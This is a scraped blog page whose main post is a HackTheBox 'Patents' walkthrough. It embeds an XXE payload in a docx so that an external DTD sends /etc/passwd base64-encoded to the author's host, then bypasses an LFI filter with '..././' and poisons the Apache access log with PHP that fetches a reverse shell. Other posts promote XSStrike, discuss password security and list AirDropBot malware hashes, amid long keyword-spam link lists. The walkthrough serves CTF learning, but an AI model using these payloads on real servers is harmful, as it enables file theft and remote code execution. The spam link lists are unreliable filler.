Gambar Kenangan

Gambar Kenangan
Kami yang ceria

Jumaat, 2 Jun 2023

XXE In Docx Files And LFI To RCE


In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."
What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.
  1. Extract the docx file.
  2. Embed our payload in the extracted files.
  3. Archive the file back in the docx format.
  4. Upload the file on the server.
To extract the docx file we will use the unzip Linux command line tool.
mkdir doc cd doc unzip ../sample.docx 
Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.
mkdir customXml cd customXml vim item1.xml 
Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r> 
Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>"> 
What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.
zip -r sample.docx * 
here -r means recursive and * means all files sample.docx is the output file.
Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.
Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:
python -m SimpleHTTPServer 8090 
and then upload the file to the server and see if it works.
We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.
Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:
cat passwd.64 | base64 -d > passwd
looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:
http://10.10.10.173/getPatent_alphav1.0.php 

We can use the id parameter to view the uploaded patents like this:
http://10.10.10.173/getPatent_alphav1.0.php?id=1 

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd 

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log 
As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables  to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.
Lets setup our reverse shell listener:
nc -lvnp 9999 
and then perfrom a request to the target server with our php code like this:
curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>" 
and lastly lets access the apache access.log file via the LFI on the target server:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3 
Boom! we have a shell.

That's it for today's article see you next time.

References

Related links


  1. Pentest Tools Port Scanner
  2. Hack Tool Apk
  3. Free Pentest Tools For Windows
  4. New Hacker Tools
  5. Hacking App
  6. Hacking Tools For Beginners
  7. Hacking Tools For Windows 7
  8. Hack Tools For Games
  9. Pentest Tools Website Vulnerability
  10. Tools 4 Hack
  11. Tools 4 Hack
  12. Hacking Tools For Kali Linux
  13. Hacker Tools List
  14. Pentest Reporting Tools
  15. Hack Tools Mac
  16. Hack Tools For Windows
  17. Hacker Tool Kit
  18. Hack Tool Apk
  19. Pentest Tools Android
  20. Nsa Hacker Tools
  21. Hacking Tools Windows
  22. Hacker Tools Mac
  23. Hacker Tools Free Download
  24. Hacks And Tools
  25. Pentest Tools Github
  26. Github Hacking Tools
  27. Hacking Tools And Software
  28. Pentest Tools Kali Linux
  29. Hacker Tools Free
  30. Pentest Tools Open Source
  31. Hacking Tools For Beginners
  32. Hacking Tools 2019
  33. Hacker Security Tools
  34. Hack Tools For Pc
  35. Hacker Tools Software
  36. Beginner Hacker Tools
  37. Hack Apps
  38. Hacker Security Tools
  39. Pentest Tools Find Subdomains
  40. Hacker Tools For Ios
  41. Pentest Box Tools Download
  42. Android Hack Tools Github
  43. Hacking Tools Free Download
  44. Pentest Tools Android
  45. Easy Hack Tools
  46. Pentest Tools Framework
  47. Pentest Tools Port Scanner
  48. Pentest Tools Tcp Port Scanner
  49. Hacking Tools Github
  50. Bluetooth Hacking Tools Kali
  51. Nsa Hacker Tools
  52. World No 1 Hacker Software
  53. Hacker Tools Apk
  54. Pentest Tools Linux
  55. Hack Tools For Games
  56. Hacking Tools 2020
  57. Pentest Tools Url Fuzzer
  58. Pentest Automation Tools
  59. Pentest Tools Port Scanner
  60. Hacker Search Tools
  61. Hacking Tools Hardware
  62. Pentest Tools Kali Linux
  63. Hacking Tools
  64. Hacking Tools Github
  65. Hack Tools For Windows
  66. Hacking Tools 2019
  67. Hacker Tools Windows
  68. Hacker Tools For Windows
  69. Pentest Tools
  70. Hacking App
  71. Tools For Hacker
  72. Blackhat Hacker Tools
  73. Hacker Tools Free
  74. Hacker Tools For Mac
  75. Hacker Tool Kit
  76. Hacking Tools 2020
  77. Hacker Techniques Tools And Incident Handling
  78. Hacker Tools Free
  79. Pentest Tools List
  80. Hacking Tools Download
  81. Pentest Tools Open Source
  82. Hack App
  83. Pentest Tools Github
  84. Pentest Tools Review
  85. Pentest Tools Android
  86. How To Install Pentest Tools In Ubuntu
  87. Pentest Tools Website
  88. Pentest Tools Kali Linux
  89. Pentest Tools For Ubuntu
  90. Pentest Tools Online
  91. Hack And Tools
  92. Pentest Tools Download
  93. Hacker Techniques Tools And Incident Handling
  94. Game Hacking
  95. Hacking Tools For Windows
  96. Pentest Tools
  97. Ethical Hacker Tools
  98. Github Hacking Tools
  99. Pentest Box Tools Download

Khamis, 1 Jun 2023

DOWNLOAD XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

XSStrike is really advanced XSS exploitation and detection suite, which contains a very powerful XSS fuzzer and provides no false positive results using fuzzy matching. XSStrike is the first XSS scanner that generates its own payloads. Download xsstrike and test it out.
It also has built in an artificial intelligent enough to detect and break out of various contexts.

FEATURES:

  • Powerful Fuzzing Engine
  • Context Breaking Intelligence
  • AI Payload Generation
  • GET & POST Methods Support
  • Cookie Support
  • WAF Fingerprinting
  • Handcrafted Payloads to Filter and WAF Evasion
  • Hidden Parameter Discovery
  • Accurate Results

DOWNLOAD XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

Click here to download xsstrike.

Read more


  1. Pentest Tools
  2. Hacker Tools Apk Download
  3. Hack Website Online Tool
  4. Hackrf Tools
  5. Physical Pentest Tools
  6. Hacking Tools Windows 10
  7. Pentest Tools
  8. Kik Hack Tools
  9. Hacker Tools List
  10. Github Hacking Tools
  11. Hacker Tool Kit
  12. Pentest Tools Subdomain
  13. Hack App
  14. Hack Tools
  15. Hacker
  16. Hacker Tool Kit
  17. What Is Hacking Tools
  18. Hacking Tools Usb
  19. Hacking Tools Github
  20. Pentest Tools
  21. Hacker Tools Software
  22. Install Pentest Tools Ubuntu
  23. Termux Hacking Tools 2019
  24. Bluetooth Hacking Tools Kali
  25. Hacking Tools And Software
  26. Hacking Tools For Kali Linux
  27. Hacker Tools For Windows
  28. Hacker Tools Free Download
  29. How To Install Pentest Tools In Ubuntu
  30. Pentest Tools For Mac
  31. Hacker Tools Github
  32. Underground Hacker Sites
  33. Hacker Tools
  34. Termux Hacking Tools 2019
  35. Hacking Tools 2020
  36. Pentest Tools Review
  37. Pentest Tools Kali Linux
  38. Hacker Tools
  39. Pentest Tools For Ubuntu
  40. Tools Used For Hacking
  41. Pentest Reporting Tools
  42. Hacker Tools Mac
  43. Pentest Tools For Windows
  44. Pentest Recon Tools
  45. Hacking Tools 2019
  46. Hacker
  47. Hacker Search Tools
  48. Hackrf Tools
  49. Hacking Tools Download
  50. Hack Tools For Mac
  51. Hacker Hardware Tools
  52. Hack Tools Mac
  53. Hacker Tools Mac
  54. Pentest Tools For Windows
  55. Pentest Tools Find Subdomains
  56. World No 1 Hacker Software
  57. Pentest Automation Tools
  58. Hacking Tools For Games
  59. Free Pentest Tools For Windows
  60. Pentest Recon Tools
  61. Pentest Tools Github
  62. Hacker Tools Online
  63. Game Hacking
  64. Hack Tool Apk
  65. Hack Tools For Windows
  66. Hacking App
  67. Hacker Hardware Tools
  68. Pentest Tools Alternative
  69. Hacking Tools Hardware
  70. Hacker Tools
  71. New Hack Tools
  72. Hacking App
  73. Hacker Tools Windows
  74. Hack Tools Download
  75. Hack Tools For Ubuntu
  76. Hacking Tools Name
  77. Hacking Tools For Windows 7
  78. Hak5 Tools
  79. Hack Website Online Tool
  80. Best Hacking Tools 2019
  81. How To Make Hacking Tools
  82. World No 1 Hacker Software
  83. Hack And Tools
  84. Pentest Tools For Windows
  85. Pentest Tools For Windows
  86. Kik Hack Tools
  87. Wifi Hacker Tools For Windows
  88. Hacking Tools

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 1


TL;DR: different passwords have different protection requirements, and different attackers using various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).

Are you sick of password advices like "change your password regularly" or "if your password is password change it to pa$$w0rd"? This post is for you!

The news sites are full of password advises nowadays due to recent breaches. When I read/watch these advise (especially on CNN), I am usually pissed off for a lot of reasons. Some advises are terrible (a good collection is here), some are good but without solutions, and others are better, but they don't explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!

Password history

Passwords have been used since ancient times.


Because it is simple. When I started using the Internet, I believe I had three passwords. Windows login, webmail, and IRC. Now I have ~250 accounts/passwords to different things, like to my smartphone, to my cable company (this password can be used to change the channels on the TV), to my online secure cloud storage, to full disk encryption to start my computer, to my nude pictures, to my WiFi router, to my cloud server hosting provider, etc etc etc. My money is protected with passwords, my communication is protected with passwords/encryption, my work is protected with passwords. It is pretty damn important. But yet people tend to choose lame passwords. Pretty lame ones. Because they don't think it can be significant. But what is not essential today will be relevant tomorrow. The service you used to download music (iTunes) with the lame password will one day protect all your Apple devices, where attackers can download your backup files, erase all your devices, etc. The seven-character and one capital rule is not enough anymore. This advice is like PDF is safe to open, Java is secure. Old, outdated, untrue.

Now, after this lengthy prologue, we will deep dive into the analysis of the problem, by checking what we want to protect, against whom (who is the attacker), and only after that, we can analyze the solutions. Travel with me, I promise it will be fun! ;)

What to protect?

There are different services online, and various services need different ways to protect. You don't use the same lock on your Trabant as you do on your BMW.

Internet banking, online money

For me, this is the most vital service to protect. Luckily, most of the internet banking services use two-factor authentication (2FA), but unfortunately, not all of them offer transaction authorization/verification with complete transactions. 2FA is not effective against malware, it just complicates the attack. Transaction authorization/verification is better, but not perfect (see Zitmo). If the access is not protected with 2FA, better choose the best password you have (long, real random, sophisticated, but we will get to this later). If it is protected with 2FA, it is still no reason not to use the best password ;) This is what I call the "very high-level password" class.


Credit card data

This system is pretty fucked up bad. Something has to be secret (your credit card number), but in the meantime that is the only thing to identify your credit card. It is like your username is your password. Pretty bad idea, huh? The problem is even worse with a lot of different transaction types, especially when the hotel asks you to fax both sides of your CC to them. Unfortunately, you can't change the password on your credit card, as there is no such thing, but Verified by VISA or 3-D Secure with 2FA might increase the chances your credit card won't get hacked. And on a side note, I have removed the CVV numbers from my credit/debit cards. I only read it once from the card when I received it, I don't need it anymore to be printed there.
And sometimes, you are your own worst enemy. Don't do stupid things like this:


Work related passwords (e.g. Windows domain)

This is very important, but because the attack methods are a bit different, I created this as a different category. Details later.

Email, social sites (Gmail/Facebook/Twitter), cloud storage, online shopping

This is what I call the "high level password" class.
Still, pretty important passwords. Some people don't understand "why would attackers put any energy to get his Facebook account?" It is simple. For money. They can use your account to spread spam all over your Facebook wall. They can write messages to all of your connections and tell them you are in trouble and send money via Western Union or Bitcoin.


They can use your account in Facebook votes. Your e-mail, cloud storage is again very important. 20 years ago you also had letters you didn't want to print and put in front of the nearest store, neither want you to do that with your private photo album. On a side note, it is best to use a cloud storage where even the cloud provider admin can't access your data. But in this case, with no password recovery option, better think about "alternative" password recovery mechanisms.

Other important stuff with personal data (e.g. your name, home address)

The "medium level password" class. This is a personal preference to have this class or not, but in the long run, I believe it is not a waste of energy to protect these accounts. These sites include your favorite pizza delivery service, your local PC store, etc.

Not important stuff

This is the category other. I usually use one-time disposable e-mail to these services. Used for the registration, get what I want, drop the email account. Because I don't want to spread my e-mail address all over the internet, whenever one of these sites get hacked. But still, I prefer to use different, random passwords on these sites, although this is the "low level password" class.

Attackers and attack methods

After categorizing the different passwords to be protected, let's look at the different attackers and attack methods. They can/will/or actively doing it now:

Attacking the clear text password 

This is the most effective way of getting the password. Bad news is that if there is no other factor of protection, the victim is definitely not on the winning side. The different attack methods are:

  • phishing sites/applications,


  • social engineering,
  • malware running on the computer (or in the browser), 
  • shoulder surfing (check out for smartphones, hidden cameras), 
  • sniffing clear-text passwords when the website is not protected with SSL,
  • SSL MiTM,
  • rogue website administrator/hacker logging clear text passwords,
  • password reuse - if the attacker can get your password in any way, and you reuse it somewhere else, that is a problem,
  • you told your password to someone and he/she will misuse it later,
  • hardware keyloggers,
  • etc.

The key thing here is that no matter how long your passwords are, no matter how complex it is, no matter how often do you change it (except when you do this every minute ... ), if it is stolen, you are screwed. 2FA might save you, or might not.

Attacking the encrypted password 

This is the usual "hack the webserver (via SQL injection), dump the passwords (with SQLMap), post hashes on pastebin, everybody starts the GPU farm to crack the hashes" scenario. This is basically the only scenario where the password policies makes sense. In this case the different level of passwords need different protection levels. In some cases, this attack turns out to be the same as the previous attack, when the passwords are not hashed, or are just encoded.

The current hash cracking speeds for hashes without any iterations (this is unfortunately very common) renders passwords like Q@tCB3nx (8 character, upper-lowercase, digit, special characters) useless, as those can be cracked in hours. Don't believe me? Let's do the math.

Let's say your password is truly random, and randomly choosen from the 26 upper, 26 lower, 10 digit, 33 special characters. (Once I tried special passwords with high ANSI characters inside. It is a terrible idea. Believe me.). There are 6 634 204 312 890 620 different, 8 character passwords from these characters. Assuming a 2 years-old password cracking rig, and MD5 hash cracking with 180 G/s speed, it takes a worst case 10 hours (average 5) to crack the password, including upgrading your bash to the latest, but still vulnerable bash version. Had the password been 10 characters long, it would take 10 years to crack with today hardware. But if the password is not truly random, it can be cracked a lot sooner.

A lot of common hashing algorithms don't use protections against offline brute-force attacks. This includes LM (old Windows hashes), NTLM (modern Windows hashes), MD-5, SHA1-2-512. These hashing algorithms were not developed for password hashing. They don't have salting, iterations, etc. out of the box. In the case of LM, the problem is even worse, as it converts the lowercase characters to uppercase ones, thus radically decreasing the key space. Out of the box, these hashes are made for fast calculation, thus support fast brute-force.


Another attack is when the protected thing is not an online service, but rather an encrypted file or crypto-currency wallet.

Attacking the authentication system online

This is what happened in the recent iCloud hack (besides phishing). Attackers were attacking the authentication system, by either brute-forcing the password, or bypassing the password security by answering the security question. Good passwords can not be brute-forced, as it takes ages. Good security answers have nothing to do with the question in first place. A good security answer is as hard to guess as the password itself. If password recovery requires manual phone calls, I know, it is a bit awkward to say that your first dog name was Xjg.2m`4cJw:V2= , but on the other hand, no one will guess that!


Attacking single sign on

This type of attack is a bit different, as I was not able to put the "pass the hash" attacks anywhere. Pass the hash attack is usually found in Windows domain environments, but others might be affected as well. The key thing is single sign on. If you can login to one system (e.g. your workstation), and access many different network resources (file share, printer, web proxy, e-mail, etc.) without providing any password, then something (a secret) has to be in the memory which can be used to to authenticate to the services. If an attacker can access this secret, he will be able to access all these services. The key thing is (again) it does not matter, how complex your passwords are, how long it is, how often do you change, as someone can easily misuse that secret.

 

Attacking 2FA

As already stated, 2 factor authentication raises the efforts from an attacker point of view, but does not provide 100% protection. 
  • one time tokens (SecurID, Yubikey) can be relayed in a man-in-the-middle attack
  • smartcard authentication can be relayed with the help of a malware to the attacker machine - or simply circumvented in the browser malware, 
  • text based (SMS) messages can be stolen by malware on the smartphone or rerouted via SS7, 
  • bio-metric protection is constantly bypassed,
  • SSH keys are constantly stolen,
  • but U2F keys are pretty good actually, even though BGP/DNS hijack or similar MiTM can still circumvent that protection,
  • etc. 


Others

Beware that there are tons of other attack methods to access your online account (like XSS/CSRF), but all of these have to be handled on the webserver side. The best you can do is to choose a website where the Bug Bounty program is running 24/7. Otherwise, the website may be full of low hanging, easy-to-hack bugs.

Now that we have covered what we want to protect against what, in the next blog post, you will see how to do that. Stay tuned. I will also explain the title of this blog post.

More information


  1. Tools Used For Hacking
  2. Nsa Hack Tools Download
  3. How To Install Pentest Tools In Ubuntu
  4. Hacker Tools Hardware
  5. Pentest Tools Website
  6. Best Hacking Tools 2019
  7. Hacking Tools Online
  8. Tools Used For Hacking
  9. Hack Rom Tools
  10. Hack Tools For Games
  11. Hacking Tools Online
  12. Free Pentest Tools For Windows
  13. Hacker Hardware Tools
  14. Hack Tool Apk No Root
  15. Pentest Tools Free
  16. Pentest Tools List
  17. Hack Tools For Ubuntu
  18. Hacking Tools For Games
  19. Termux Hacking Tools 2019
  20. Pentest Tools
  21. Hacker Tools List
  22. Hack Website Online Tool
  23. Best Pentesting Tools 2018
  24. Best Hacking Tools 2019
  25. Hacker Tools Linux
  26. New Hack Tools
  27. Pentest Tools Online
  28. Wifi Hacker Tools For Windows
  29. Best Hacking Tools 2020
  30. Free Pentest Tools For Windows
  31. Hack And Tools
  32. Pentest Tools Apk
  33. Pentest Tools Find Subdomains
  34. Top Pentest Tools
  35. Nsa Hacker Tools
  36. Pentest Tools Port Scanner
  37. Hacking Tools Online
  38. World No 1 Hacker Software
  39. World No 1 Hacker Software
  40. Game Hacking
  41. Hacking Tools For Mac
  42. Hack Tools
  43. Pentest Tools Windows
  44. Pentest Tools Port Scanner
  45. Hacker Tools Github
  46. Nsa Hack Tools Download
  47. Hacking Apps
  48. How To Make Hacking Tools
  49. Pentest Tools Android
  50. Computer Hacker
  51. Hack Tools Github
  52. Pentest Tools Download
  53. Hacker Tools Apk Download
  54. Pentest Automation Tools
  55. Hacking Tools For Mac
  56. Hack Tools 2019
  57. Underground Hacker Sites
  58. Hacker Techniques Tools And Incident Handling
  59. Blackhat Hacker Tools
  60. Hacking Tools For Beginners
  61. Hacker Tools Online
  62. Hacking Tools Windows 10
  63. Hacker Tools Windows
  64. Hacking Tools Kit
  65. Pentest Tools For Windows
  66. Pentest Tools Free
  67. Hacking Tools Github
  68. Hacker Tools Hardware
  69. Hack Tools Mac
  70. Hacking Apps
  71. Hacker Tools Github
  72. Hacker Tools For Ios
  73. Hacker Tools 2020
  74. Hack Tool Apk No Root
  75. Hacker Tools Mac
  76. Hacking Tools 2019
  77. Hacker Tool Kit
  78. Hack Tools
  79. Pentest Tools Alternative
  80. Termux Hacking Tools 2019
  81. Hacking Tools Software
  82. Top Pentest Tools
  83. Hack Tools Pc

Linux/AirDropBot Samples



Malware Must Die:  MMD-0064-2019 - Linux/AirDropBot





Links updated: Jan 19, 2023

Hashes

MD5
SHA256
SHA1
85a8aad8d938c44c3f3f51089a60ec16
1a75642976449d37acd14b19f67ed7d69499c41aa6304e78c7b2d977e0910e37
2f0079bb42d5088f1fec341cb68f15cdd447ac43
2c0afe7b13cdd642336ccc7b3e952d8d
64c0e594d4926a293a1f1771187db8cfb44a0dda80d8b25b4f0c975e1e77745c
fef65085a92654cbcf1e3e0d851c6cda8dd3b03d
94b8337a2d217286775bcc36d9c862d2
71c02b99046c3be12e31577aa6623ce47dfb7f369e67af564d2bd499080c03b6
d5deeb1b61026479acb421583b7b82d09d63e921
417151777eaaccfc62f778d33fd183ff
bf6941e644a430fef43afc749479859665a57b711d5483c2c7072049c7db17b7
f76b9447db23229edae17a3160e04df41bc35a9d
d31f047c125deb4c2f879d88b083b9d5
2785845c97a69e15c9c1535216732a9d24bcf8f7244ce7872a2b0d2d4bcb92c3
4693505ef4c029112c4b85a16762cf90f0d69c15
ff1eb225f31e5c29dde47c147f40627e
f7ab3d315961d84da43f30a186136a56f5aa1e9afe6b56a0d357accd5f0ab81a
d5f2a976b703b5e687ffc58c408e0bc880838ae7
f3aed39202b51afdd1354adc8362d6bf
fa2bc8d988c8dfbdc965f1373bd80e9f5862868397c1bcb5e84b1e9c1756e0e2
31f0bca917cfbffcc126219439d38fe80d5c8460
083a5f463cb84f7ae8868cb2eb6a22eb
d654850f7785a5adb34f0808e2952f66e3784c0a32427fab9e97c75f0a48d9f5
ed4359a2805ce69771253d2257598b5c63c36c8e
9ce4decd27c303a44ab2e187625934f3
a2a245f12ae44cca79f03a465e2dc3dfa222dfcfda1017824b16abf397f16255
710e85ae3d362d3c8f3759319c308ff9b4dcdc86
b6c6c1b2e89de81db8633144f4cb4b7d
2480be0d00193250bc9eb50b35403399ed44f53d5d919600ee5bab14ef769530
ee77141054ac8d2fad062bcd79832b5f481c7dfb
abd5008522f69cca92f8eefeb5f160e2
509299df2f6150f59ed777873d3b7c708587c68a4004b4654a8cf2a640dd50aa
15cf94828c07e080b9c455738f3219859d9ab732
a84bbf660ace4f0159f3d13e058235e9
565deb4b1a7397d2497c75c9635b81d2e3b6427f0c576e5cd3c4224660712b56
c56fea8c1c949394e539d5ab3e3df7dfd329844a
5fec65455bd8c842d672171d475460b6
121c7ebfb99d8ef39f72bf7c787be4c15e2e08b731f01172605a4d34d27f08eb
3b6ca4525c3aad0583400b911b015071a0ea6133
4d3cab2d0c51081e509ad25fbd7ff596
7f71577b63b449c1a9e9aa516fa9e4320fe5f79548a00025a430894a269ab57b
d521f25362791de4d8a82a2683f032c1dd816e74
252e2dfdf04290e7e9fc3c4d61bb3529
834fc5c0ccfde1f3d52d88355717f119221118ee2d26018b417c50d066e9e978
c8f3130e64a6f825b1e97060cf258e9086a2b650
5dcdace449052a596bce05328bd23a3b
22949a7a3424f3b3bdf7d92c5e7a7a0de4eb6bbe9c523d57469944f6a8b1d012
f2c072560559a3f112e2000c8e28ee975b2b9db3
9c66fbe776a97a8613bfa983c7dca149
18c08d3c39170652d4770b2f7785e402b58c1f6c51ba1338be4330498ef268f4
18a99ec770109357d1adbc1c2475b17d4dcca651
59af44a74873ac034bd24ca1c3275af5
1c345b5e7c7fdcc79daa5829e0f93f6ae2646f493ae0ec5e8d66ab84a12a2426
98f789e91809203fbf1b7255bd0579fc86a982ba
9642b8aff1fda24baa6abe0aa8c8b173
98165c65d83fd95379e2e7878ac690c492ac54143d7b12beec525a9d048bedae
bd447e0e77a9192b29da032db8e1216b7b97f9ed
e56cec6001f2f6efc0ad7c2fb840aceb
7a2bf405c5d75e4294c980a26d32e80e108908241751de4c556298826f0960f1
b1c271d11797baac2504916ac80fd9e6fac61973
54d93673f9539f1914008cfe8fd2bbdd
c396a1214956eb35c89b62abc68f7d9e1e5bd0e487f330ed692dd49afed37d5a
72a9b8d499cce2de352644a8ffeb63fd0edd414b
6d202084d4f25a0aa2225589dab536e7
c691fecb7f0d121b5a9b8b807c5767ad17ae3dd9981c47f114d253615d0ef171
a68149c19bfddcdfc537811a3a78cd48c7c74740
cfbf1bd882ae7b87d4b04122d2ab42cb
892986403d33acb57fca1f61fc87d088b721bdd4b8de3cd99942e1735188125b
a067a0cf99650345a32a65f5bc14ab0da97789b6

Read more